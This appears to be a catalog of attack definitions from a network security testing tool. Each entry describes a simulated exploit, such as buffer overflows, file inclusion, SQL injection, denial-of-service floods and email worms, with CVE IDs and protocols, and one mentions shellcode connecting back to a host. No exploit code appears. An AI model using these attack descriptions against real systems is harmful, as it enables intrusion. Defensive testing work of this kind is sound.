Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.Randshop is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-3375
Threat Package:	Standard
Threat File Name:	claroline2.xml
Executive Description:	Claroline SQL Injection 2
Detailed Description:	This threat injects database commands through a flaw in the Claroline E-Learning Application. Claroline is a web application that typically listens on port 80.
Protocol Type:	HTTP

	CVEID:	CVE-2005-1375
	OSVDB:	16531
	Threat Package:	Standard
Threat File Name:	FSC20110117-02_HP_OpenView_Network_Node_Manager_nnmRptConfig_exe_nameParams_text1_Buffer_Overflow.xml	
Executive Description:	HP OpenView Network Node Manager nnmRptConfig.exe nameParams text1 Buffer Overflow	
Detailed Description:	A buffer overflow vulnerability exists in HP OpenView Network Node Manager. The vulnerability is due to a boundary error in one of the functions in nnmRptConfig.exe while handling the text1 parameter among the nameParams. Remote attackers can exploit this vulnerability by sending a crafted message to the affected service. Successful exploitation may lead to arbitrary code execution in the context of the affected service.	
Protocol Type:	HTTP,HTTPS	
CVEID:	CVE-2011-0268	
Threat File Name:	FSC20100209-09_Microsoft_Office_PowerPoint_Viewer_TextCharsAtom_Record_Buffer_Overflow.xml	
Executive Description:	Microsoft Office PowerPoint Viewer TextCharsAtom Record Buffer Overflow	
Detailed Description:	A stack buffer overflow vulnerability exists in Microsoft Office PowerPoint Viewer. The vulnerability is due to improper validation while processing crafted TextCharsAtom records in a PowerPoint file. Remote attackers could exploit this vulnerability by persuading a target user to open a specially crafted PowerPoint file with the affected application. Successful exploitation would cause a buffer overflow that may lead to arbitrary code execution in the security context of the logged in user, or terminate the application resulting in a Denial of Service condition.	
Protocol Type:	HTTP/HTTPS/FTP/IMAP/POP3/SMB/CIFS/SMTP	
CVEID:	CVE-2010-0034	
Threat Package:	Standard	
Threat File Name:	FSC20080404-04_CA_Multiple_Products_Alert_Notification_Server_Buffer_Overflow_IPv6.xml	
Executive Description:	CA Multiple Products Alert Notification Server Buffer Overflow (IPv6 Version)	
Detailed Description:	There exists a buffer overflow vulnerability in the Alert Service component used by multiple CA products. The vulnerability is due to insufficient data validation in Alert Service component while handling specially crafted RPC requests. A remote authenticated attacker can exploit this vulnerability by sending a crafted RPC request to the target host. As a result of successful exploitation, the attacker can execute arbitrary code with SYSTEM privileges, or cause a denial of service condition. (IPv6 Version)	
Protocol Type:	SMB/IPv6	
CVEID:	CVE-2007-4620	
Threat Package:	Standard	
Threat File Name:	TSL20150226-15_Samsung_iPOLiS_Device_Manager_WriteConfigValue_Stack_Buffer_Overflow_IPv6.xml	
Executive Description:	Samsung iPOLiS Device Manager WriteConfigValue Stack Buffer Overflow IPv6 version.	
Detailed Description:	A stack-based buffer overflow vulnerability exists in Samsung iPOLiS Device Manager. The vulnerability is due to insufficient input validation of a parameter passed to WriteConfigValue() of the XnsSdkDeviceIpInstaller ActiveX control. A remote attacker can exploit this vulnerability by enticing a user to visit a maliciously crafted web page. This can result in code execution in the context of the affected user.	
Protocol Type:	HTTP/HTTPS.IPV6	
CVEID:	CVE-2015-0555	
OSVDB:	118668	
Threat File Name:	TSL20130214-04_WellinTech_KingView_KingMess_Log_File_Parsing_Buffer_Overflow.xml	
Executive Description:	WellinTech KingView KingMess Log File Parsing Buffer Overflow	
Detailed Description:	A buffer overflow vulnerability has been reported in KingView's KingMess. The vulnerability is due to an error while parsing log files. An attacker can exploit this vulnerability by enticing a user to open a specially crafted log file. This can lead to a buffer overflow and possibly code execution in the context of the affected application. If code execution is unsuccessful, the application may terminate unexpectedly.	
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP	
CVEID:	CVE-2012-4711	
OSVDB:	89690	
Threat File Name:	bnbt_get_dos_IPv6.xml	
Executive Description:	BNBT EasyTracker Denial of Service (IPv6 Version)	
Detailed Description:	This threat sends a malformed HTTP request to the BNBT service, causing a denial of service. This can be used to prevent legitimate users from using the service. BNBT is a BitTorrent tracker that typically listens on TCP port 6969. (IPv6 Version)	
Protocol Type:	Proprietary/IPv6	
CVEID:	CVE-2005-2806	
OSVDB:	19069	
Threat Package:	Standard	
Threat File Name:	TSL20110210-01_HP_OpenView_Network_Node_Manager_ovutil_dll_stringToSeconds_Buffer_Overflow.xml	
Executive Description:	HP OpenView Network Node Manager ovutil.dll stringToSeconds Buffer Overflow	
Detailed Description:	A buffer overflow vulnerability exists in HP OpenView Network Node Manager (NNM). The vulnerability is due to a boundary error in the stringToSeconds function defined in the ovutil.dll when processing crafted HTTP request parameters. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to the jovgraph.exe CGI program on a target server, potentially causing arbitrary code to be injected and executed within the security context of the Internet Guest Account.	
Protocol Type:	HTTP,HTTPS	
CVEID:	CVE-2011-0262	
Threat File Name:	ymsgr_webcam_activex_bof.xml	
Executive Description:	Yahoo! Messenger Webcam 8.1 ActiveX Remote Buffer Overflow Vulnerability	
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Yahoo! Messenger Webcam ActiveX application, resulting in the execution of arbitrary code. This threat is delivered via HTTP port 80.	
Protocol Type:	HTTP	
CVEID:	CVE-2007-3148	

Threat Package:	Standard
Threat File Name:	TSL20130131-04_Novell_GroupWise_Client_for_Windows_ActiveX_Code_Execution.xml
Executive Description:	Novell GroupWise Client for Windows ActiveX Code Execution
Detailed Description:	A remote code execution vulnerability exists in the ActiveX control for Novell GroupWise Client for Windows. A remote attacker could exploit this vulnerability by enticing a target to view a specially crafted webpage. Successful exploitation could result in arbitrary code execution in the context of the currently logged in user. Unsuccessful exploitation could cause the application to terminate abnormally, resulting in a denial-of-service condition.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-0439
OSVDB:	89700
Threat File Name:	FSC20070911-11_Microsoft_Agent_Crafted_URL_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Agent Crafted URL Stack Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Windows Agent application. The flaw is due to wrongfully copying an overly large string to a fixed-size stack buffer within the code of agentdpv.dll Dynamic Link Library. By persuading the target user to open a malicious web page, an attacker may execute arbitrary code on the target system within the privileges of the currently logged on user. (IPv6 Version)
Protocol Type:	/IPv6
CVEID:	CVE-2007-3040
Threat Package:	Standard
Threat File Name:	x86NOOPudpSGI_IPv6.xml
Executive Description:	UDP x86 NOOP Variant SGI (IPv6 Version)
Detailed Description:	This threat sends UDP packets with a payload filled with NOOP assembly instructions. This gets flagged on IDS systems as a possible shellcode injection attack. NOOPs are used as a sled to insure greater probability for shellcode to execute. Unfortunately, NOOPs are also quite common in binary downloads from websites as well, causing many false positives. (IPv6 Version)
Protocol Type:	UDP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20111115-08_Interactive_Data_eSignal_Stack_Buffer_Overflow.xml
Executive Description:	Interactive Data eSignal Stack Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in Interactive Data eSignal. The vulnerability is due insufficient validation of string lengths when copying input into a fixed size stack buffer in certain file types. A remote attacker could exploit this vulnerability by enticing the user to open a maliciously crafted file. Successful exploitation would lead to execution of arbitrary code in the security context of the target user.
Protocol Type:	HTTP,HTTPS,SMTP
CVEID:	CVE-2011-3494
Threat File Name:	TSL20170515-06_HPE_Intelligent_Management_Center_dbman_FileTrans_Arbitrary_File_Write_IPv6.xml
Executive Description:	HPE Intelligent Management Center dbman FileTrans Arbitrary File Write (IPv6 Version)
Detailed Description:	An arbitrary file write vulnerability has been reported in the dbman component of HPE Intelligent Management Center. The vulnerability is due to lack of authentication on FileTrans commands, used to transfer files to the host running dbman. A remote, unauthenticated attacker can exploit the vulnerability by sending a maliciously crafted packet to the target server. Successful exploitation could result in an arbitrary file write, which could lead to remote code execution on the target server in the context of SYSTEM or root.
Protocol Type:	HP IMC DBMan Protocol,IPv6
CVEID:	CVE-2017-5822
Threat File Name:	mambo_reg_component_rfi.xml
Executive Description:	Mambo Extended Registration Component mosConfig_absolute_path Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Mambo Extended Registration Component is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	phpmychat_xss_c.xml
Executive Description:	PHPMyChat users_popupL.php Cross-Site Scripting Vulnerabilities
Detailed Description:	This threat sends a crafted URL that contains Javascript to be included in the returned page. PHPMyChat is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-3991
OSVDB:	21546
Threat File Name:	FSC20101207-08_Nullsoft_Winamp_MIDI_Timestamp_Stack_Buffer_Overflow.xml
Executive Description:	Nullsoft Winamp MIDI Timestamp Stack Buffer Overflow
Detailed Description:	A code execution vulnerability exists in Nullsoft Winamp. The vulnerability is due to a boundary error in the "in_midi" component while handling timestamps in MIDI files. Remote attackers can exploit this vulnerability by enticing the target user to open a specially crafted MIDI file. Successful exploitation would lead to to arbitrary code execution in the security context of the logged-in user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS
Threat File Name:	phpworm3_IPv6.xml
Executive Description:	phpinclude.worm Attack 3 (IPv6 Version)
Detailed Description:	This threat attacks a common programming mistake in PHP. The PHP include worm attacks using a generic form of this attack. This is a sample of one version of this worm. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20101012-51_Microsoft_Internet_Explorer_HtmlDlgHelper_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer HtmlDlgHelper Memory Corruption (IPv6 Version)

Detailed Description:	A code execution vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to an error while handling objects which have been improperly created or have been deleted in an HTML file opened by Microsoft Office applications, such like Word. An attacker can exploit this vulnerability by enticing a user to download and process a malicious file with the vulnerable application. This can lead to remote code execution in the context of the logged on user.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,IMAPS,POP3,POP3-S,SMTP
CVEID:	CVE-2010-3329
Threat Package:	Standard
Threat File Name:	acal_cmi.xml
Executive Description:	ACal 2.2.6 Arbitrary Command Execution
Detailed Description:	This threat sends a crafted HTTP GET query which includes an arbitrary remote file containing PHP code which is executed by the server via the day.php "path" parameter. ACal is a web based application with typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2261
Threat Package:	Standard
Threat File Name:	FSC20081104-21_Adobe_Acrobat_PDF_Font_Processing_Memory_Corruption.xml
Executive Description:	Adobe Acrobat PDF Font Processing Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Adobe Reader and Acrobat products. The vulnerability is due to improper data validation when parsing crafted font data in PDF documents. Remote attackers could exploit this vulnerability by persuading the target users to open a malicious PDF document and execute arbitrary code. In a more sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the currently logged in user. If the attack does not result in code execution, the affected application may terminate due to memory corruption. Note that Assurent has not been able to reproduce the vulnerability within the research period.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/NFS
CVEID:	CVE-2008-4813
Threat Package:	Standard
Threat File Name:	trend_IPv6.xml
Executive Description:	Trend Micro Denial of Service (IPv6 Version)
Detailed Description:	This threat sends a buffer overflow HTTP GET request aimed at a vulnerable web management service that runs on TrendMicro's Interscan Viruswall. This web management interface normally runs on port 1812. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2001-0432
OSVDB:	539
Threat Package:	Standard
Threat File Name:	FSC20100831-02_Novell_NetWare_OpenSSH_Buffer_Overflow.xml
Executive Description:	Novell NetWare OpenSSH Buffer Overflow
Detailed Description:	A buffer stack-based overflow vulnerability exists in Novell Netware. The vulnerability is due to a boundary error in SSHD.NLM and SFTP-SVR.NLM modules when processing user sessions. Remote authenticated attackers can exploit this vulnerability to inject and execute arbitrary code with <italic>admin</italic> privileges via sending an overly long string argument to the affected service. In attack scenarios where code execution is successful the behaviour of the affected server depends entirely on the intention of the injected code. In situations where code execution is not successful the affected service may terminate abnormally, causing a denial of service condition.
Protocol Type:	SSH
Threat Package:	Standard
Threat File Name:	TSL20170420-05_Mozilla_Firefox_http-index-format_File_Out-Of-Bounds_Read.xml
Executive Description:	Mozilla Firefox http-index-format File Out-Of-Bounds Read
Detailed Description:	An out-of-bounds read has been reported in Mozilla Firefox. The vulnerability is due to improper parsing of application/http-index-format format content which can result in a read past the end of an allocated object. A remote attacker could exploit this vulnerability by enticing a user to open a maliciously crafted webpage. Successful exploitation could result in disclosure of information which could be used to further compromise the target system.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2017-5444
Threat File Name:	nimda3_IPv6.xml
Executive Description:	Nimda Request URL 3 (IPv6 Version)
Detailed Description:	This threat issues out a request URL in the same format as the Nimda worm, looking for vulnerable machines. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20080122-02_IBM_Tivoli_Provisioning_Manager_for_OS_Deployment_HTTP_Server_Buffer_Overflow.xml
Executive Description:	IBM Tivoli Provisioning Manager for OS Deployment HTTP Server Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in IBM Tivoli Provisioning Manager for OS Deployment. The flaw is due to a boundary error in the HTTP server component when processing crafted HTTP requests. A remote unauthenticated attacker may leverage this vulnerability to create a denial of service condition of the affected service, or inject and execute arbitrary code on the target host with privileges of the affected service.
Protocol Type:	HTTPS
CVEID:	CVE-2008-0401
Threat Package:	Standard
Threat File Name:	galleria_afi_IPv6.xml
Executive Description:	Galleria 1.0 Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP GET query containing the path of a script file to be included via galleria.html.php "mosConfig_absolute_path" parameter. Galleria is a web based application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20120530-05_Cisco_WebEx_Recording_Format_Player_atd12006_dll_Integer_Overflow.xml

Executive Description:	Cisco WebEx Recording Format Player atdl2006.dll Buffer Overflow
Detailed Description:	A code execution vulnerability exists in Cisco WebEx Recording Format (WRF) Player. This vulnerability is due to a buffer overflow when WRF player handles WRF files. A remote attacker can leverage this vulnerability by crafting a WRF file and enticing a target user to view the malicious file. Successful exploitation would result in execution of arbitrary code on the target host in the context of the application.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
Threat File Name:	TSL20160810-08_Trend_Micro_Control_Manager_ProductTree_Information_Disclosure_IPv6.xml
Executive Description:	Trend Micro Control Manager ProductTree Information Disclosure (IPv6 Version)
Detailed Description:	An XML external entity (XXE) processing vulnerability has been reported in Trend Micro Control Manager. The vulnerability is due to lack of validation of user-supplied input prior to executing an XML query in ProductTree.aspx. A remote, authenticated attacker could exploit this vulnerability by sending a malicious HTTP request to the target system. Successful exploitation could allow the attacker to read arbitrary files from the target system.
Protocol Type:	HTTPS, IPv6
CVEID:	CVE-2016-6220
Threat File Name:	sipinvitebadschemefrom.xml
Executive Description:	SIP INVITE Bad Scheme From: Field
Detailed Description:	This threat sends out a SIP INVITE message with a From: field using a name: URI. This can confuse or crash a PBX that is not very robust.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	FSC20070726-10_Microsoft_Windows_ShellExecute_and_IE7_URL_Handling_Code_Execution.xml
Executive Description:	Microsoft Windows ShellExecute and IE7 URL Handling Code Execution
Detailed Description:	A vulnerability has been reported in Microsoft Windows that could be exploited by remote attackers to compromise a vulnerable system. The issue exists in the interaction between ShellExecute and IE7 URLMon component when handling malformed URLs. Successful exploitation would allow the attacker to execute arbitrary command on the vulnerable client system within the context of the logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-3896
Threat Package:	Standard
Threat File Name:	wins_heap2.xml
Executive Description:	MS04-045 WINS Heap Overflow Exploit 2
Detailed Description:	This threat is another variation on the WINS exploit and is part of a worm trying to infect the machine. WINS typically listens on port 42.
Protocol Type:	WINS
CVEID:	CVE-2004-1080
OSVDB:	12378
Threat Package:	Standard
Threat File Name:	tar_directory_traversal_IPv6.xml
Executive Description:	Malicious Compressed Tar File (IPv6 Version)
Detailed Description:	This threat mimics the downloading of a malicious tar file from a webserver. This malicious tar file contains the file ../../../../../../etc/passwd. This is an attempt to overwrite the passwd file in a Unix system. Some virus scanning tools and versions of tar are susceptible to this kind of attack. Webservers typically listen on port 80. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2670
OSVDB:	18812
Threat Package:	Standard
Threat File Name:	tlm_cms_rfi_IPv6.xml
Executive Description:	TLM CMS <= 1.1 (i-accueil.php chemin) Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.TLM CMS is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	peerCast_bof.xml
Executive Description:	PeerCast Remote Buffer Overflow Vulnerability
Detailed Description:	This threat sends a crafted HTTP GET query to the peerCast server causing a buffer overflow condition. PeerCast typically listens on port 7144.
Protocol Type:	HTTP
CVEID:	CVE-2006-1148
Threat Package:	Standard
Threat File Name:	FSC20070710-11_Microsoft_Windows_Active_Directory_Crafted_LDAP_Request_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows Active Directory Crafted LDAP Request Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a heap overflow vulnerability in the way Microsoft Windows Active Directory handles LDAP messages. The vulnerability is due to lack of validation for entry length in the LDAP modify message. Remote unauthenticated attackers can exploit this vulnerability to inject and execute arbitrary code on the affected target with System level privileges. (IPv6 Version)
Protocol Type:	LDAP/IPv6
CVEID:	CVE-2007-0040
Threat Package:	Standard
Threat File Name:	FSC20080212-17_Microsoft_Word_File_Handling_Memory_Corruption.xml
Executive Description:	Microsoft Word File Handling Memory Corruption

Detailed Description:	A memory corruption vulnerability exists in the way Microsoft Word processes DOC files. The vulnerability is a result of invalid calculation while parsing File Information Block (FIB). A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Word document, potentially causing arbitrary code to be injected and executed in the security context of the current user.
Protocol Type:	HTTP
CVEID:	CVE-2008-0109
Threat Package:	Standard
Threat File Name:	BGPkeepAlive_IPv6.xml
Executive Description:	BGP Keep Alive Flood (IPv6 Version)
Detailed Description:	This is a flood of the Border Gateway Protocol's keep alive message. BGP typically uses port 179. (IPv6 Version)
Protocol Type:	BGP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20170314-36_Microsoft_Windows_SMB_Server_SMBv1_CVE-2017-0145_Buffer_Overflow.xml
Executive Description:	Microsoft Windows SMB Server SMBv1 CVE-2017-0145 Buffer Overflow
Detailed Description:	A remote code execution vulnerability has been reported in the SMBv1 component of Microsoft Windows SMB server. The vulnerability is due to improper handling SMBv1 requests. A remote attacker could exploit these vulnerability by sending crafted SMBv1 messages to a target server. Successful exploitation could result in arbitrary code execution under the security context of the SYSTEM.
Protocol Type:	SMB/CIFS
CVEID:	CVE-2017-0145
Threat File Name:	FSC20091209-02_Novell_iPrint_Client_ienipp.ocx_volatile-date-time_Parsing_Buffer_Overflow.xml
Executive Description:	Novell iPrint Client ienipp.ocx volatile-date-time Parsing Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Novell iPrint Client. The vulnerability is due to a boundary error when parsing malicious persistence parameter values. A remote attacker can exploit this vulnerability by enticing a target user to open a malicious web page, potentially causing arbitrary code to be injected and executed in the security context of the current user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-1569
Threat Package:	Standard
Threat File Name:	FSC20060130-02_Nullsoft_Winamp_Player_Computer_Name_Handling_Buffer_Overflow_IPv6.xml
Executive Description:	Nullsoft Winamp Player Computer Name Handling Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Nullsoft Winamp Player. The vulnerability is caused by insufficient data sanitization during playlist file processing. An attacker may exploit the vulnerability by enticing a user to open a crafted playlist file with the affected product, resulting in execution of arbitrary code on the target host. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0476
Threat Package:	Standard
Threat File Name:	TSL20140501-07_Apache_Struts_ActionForm_ClassLoader_Security_Bypass_IPv6.xml
Executive Description:	Apache Struts ActionForm ClassLoader Security Bypass(IPv6 Version)
Detailed Description:	A security bypass vulnerability exists in Apache Struts. The vulnerability is due to inadequate validation of data processed by the ActionForm class allowing for manipulation of the ClassLoader. A remote unauthenticated attacker could exploit this vulnerability by providing a "class" parameter in an HTTP request. Successful exploitation will result in a security bypass which could lead to sandbox bypass and arbitrary code execution.
Protocol Type:	HTTP,HTTPS,IPV6
CVEID:	CVE-2014-0114
OSVDB:	106409
Threat File Name:	CiscoIPV4swipe.xml
Executive Description:	CISCO IPv4 Packet Processing Denial of Service (SWIPE)
Detailed Description:	This attack sends a specifically created IPv4 packet representing the SWIPE protocol. Can cause some Cisco equipment to erroneously close down their interfaces, causing a denial of service. This results in all further traffic being dropped by the interface.
Protocol Type:	IP
CVEID:	CVE-2003-0567
OSVDB:	2325
Threat Package:	Standard
Threat File Name:	TSL20110809-05_Microsoft_Internet_Explorer_Style_Object_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer Style Object Memory Corruption
Detailed Description:	A remote code execution vulnerability exists in Microsoft's Internet Explorer (IE). The vulnerability is due to insufficient validation of an object assigned as a style's behaviour. A remote attacker can exploit this vulnerability by enticing a target user to visit a crafted web page in IE. Successful exploitation could result in execution of arbitrary code in the target user's security context. An unsuccessful exploitation attempt may result in the abnormal termination of the affected IE process.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-1964
Threat File Name:	ms03-032.xml
Executive Description:	MS03-032 Object Data Command Execution
Detailed Description:	This threat causes command execution through a malicious object file using wsh. It represents the ability to bypass security restrictions on Internet Explorer in order to gain control of a user's computer. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2003-0838
OSVDB:	7872
Threat Package:	Standard

Threat File Name:	TSL20120516-11_Apple_QuickTime_PICT_File_Processing_Memory_Corruption_IPv6.xml
Executive Description:	Apple QuickTime PICT File Processing Memory Corruption(IPv6)
Detailed Description:	A memory corruption vulnerability exists in Apple QuickTime. The vulnerability is due to the way that Apple QuickTime processes malformed PICT files.A remote unauthenticated attacker can exploit this vulnerability by enticing a user to download and process a specially crafted PICT file. This could possibly lead to code execution in the security context of the currently logged on user.
Protocol Type:	IPv6_HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS
CVEID:	CVE-2012-0671
OSVDB:	81942
Threat File Name:	TSL20170612-07_Schneider_Electric_U.motion_Builder_css.inc.php_Arbitrary_File_Inclusion_IPv6.xml
Executive Description:	Schneider Electric U.motion Builder css.inc.php Arbitrary File Inclusion (IPv6 Version)
Detailed Description:	An arbitrary file inclusion vulnerability has been reported in Schneider Electric U.motion Builder. This vulnerability is caused by improper sanitization of directory traversal characters(..) by css.inc.php. A remote, unauthenticated attacker could exploit this vulnerability by sending a malicious request to the server. Successful exploitation results in information disclosure.
Protocol Type:	HTTP,IPv6
CVEID:	CVE-2017-7974
Threat File Name:	smtpFormat_IPv6.xml
Executive Description:	SMTP Server Error Message Format String Overflow (IPv6 Version)
Detailed Description:	This threat mimics the behaviour of a malicious SMTP server attempting to crash or cause code execution on a mail client sending email. This can be used with other attacks, such as redirection, to cause code execution on a client. SMTP servers typically listen on port 25. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
CVEID:	CVE-2003-0852
OSVDB:	8332
Threat Package:	Standard
Threat File Name:	TSL20140610-23_Microsoft_Internet_Explorer_CVE-2014-0282_CInput_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer CVE-2014-0282 CInput Use After Free
Detailed Description:	A use after free vulnerability exists in Internet Explorer. The vulnerability is due to accessing a freed CInput object in memory. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2014-0282
OSVDB:	107851
Threat File Name:	incrementalFragAttack.xml
Executive Description:	Incremental Frag Attack Over and Over
Detailed Description:	This attack targets a flaw in the Windows IP fragmentation reassembly code. It sends a large number of fragments belonging to 50 IP packets. It sends in order, causing the fragment reassembly code to traverse long lists in its memory to remove and recreate a portion of the packet. Since the final packet (IP More Fragments == false) is never sent, this attack will waste CPU time until it is stopped. Most effective over 100 Mbit networks or faster.
Protocol Type:	IP
CVEID:	CVE-2004-0744
OSVDB:	8431
Threat Package:	Standard
Threat File Name:	qt_qtif_jpg.xml
Executive Description:	Quicktime Malformed QTIF Embedded JPEG
Detailed Description:	This threat causes Apple Quicktime to crash by Specifying an invalid length field. This threat typically comes from malicious websites over port 80. This is a client side attack that comes from the virtual server.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	wins_heap.xml
Executive Description:	MS04-045 WINS Heap Overflow Exploit
Detailed Description:	This threat affects the WINS service on all versions of Microsoft Windows that come with it. Shellcode attempts to get target to connect back to host 192.168.1.1 on port 666.
Protocol Type:	WINS
CVEID:	CVE-2004-1080
OSVDB:	12378
Threat Package:	Standard
Threat File Name:	telestream_flipmac_moab-01-27-07.xml
Executive Description:	Telestream Flip4Mac WMV Parsing Memory Corruption Vulnerability
Detailed Description:	This threat leverages a flaw in Telestream Flip4Mac's WMV parser via a maliciously crafted wmv file, that when opened will result in memory corruption on the affected system. Telestream Flip4Mac is a client application, this threat delivers the malicious file via a web server listening on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-0466
Threat Package:	Standard
Threat File Name:	Worm.White.A.dff252d3_IPv6.xml
Executive Description:	Email Virus Worm.White.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.White.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: dff252d337a54d73c67e38bda06b72ec. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.SSIWG.a2769d93_IPv6.xml
Executive Description:	Email Virus VBS.SSIWG (IPv6 Version)

Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a2769d93fb255b3ae63b79dd6bffe0. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Junkboat.a.5a0cd5c3.xml
Executive Description:	Email Virus Worm.Junkboat.a
Detailed Description:	This is the email virus Worm.Junkboat.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5a0cd5c3a3477fbdd16a460da684alad. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.45c947ac.xml
Executive Description:	Email Virus Worm.Bagle.AG.2
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 45c947ac18a925fb45c27139b30d761e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Pahi.B.13129193.xml
Executive Description:	Email Virus Wotm.VBS.Pahi.B
Detailed Description:	This is the email virus Wotm.VBS.Pahi.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 13129193ea585288e8bf4a391334f455. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Hobat.A.0dd3ef0f_IPv6.xml
Executive Description:	Email Virus Worm.Hobat.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Hobat.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0dd3ef0fce93d4b0d898feaed63a0f0f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Desin.des.2f846684_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Desin.des (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Desin.des as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Desin.des. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.Entice.A.a3f1c644.xml
Executive Description:	Email Virus VBS.Entice.A
Detailed Description:	This is the email virus VBS.Entice.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a3f1c6448ab96df3802d5a81757ce02a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.AF.1d9b5f7c_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.AF (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.AF as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 1d9b5f7c639458dda7699612ee305fcc. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.VBS.Frekru.A.8245d806.xml
Executive Description:	Email Virus Trojan.VBS.Frekru.A
Detailed Description:	This is the email virus Trojan.VBS.Frekru.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8245d80681af850af635649d8a6220b3. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Sandra.san.9b897efa.xml
Executive Description:	Email Virus Email-Worm.Win32.Sandra.san
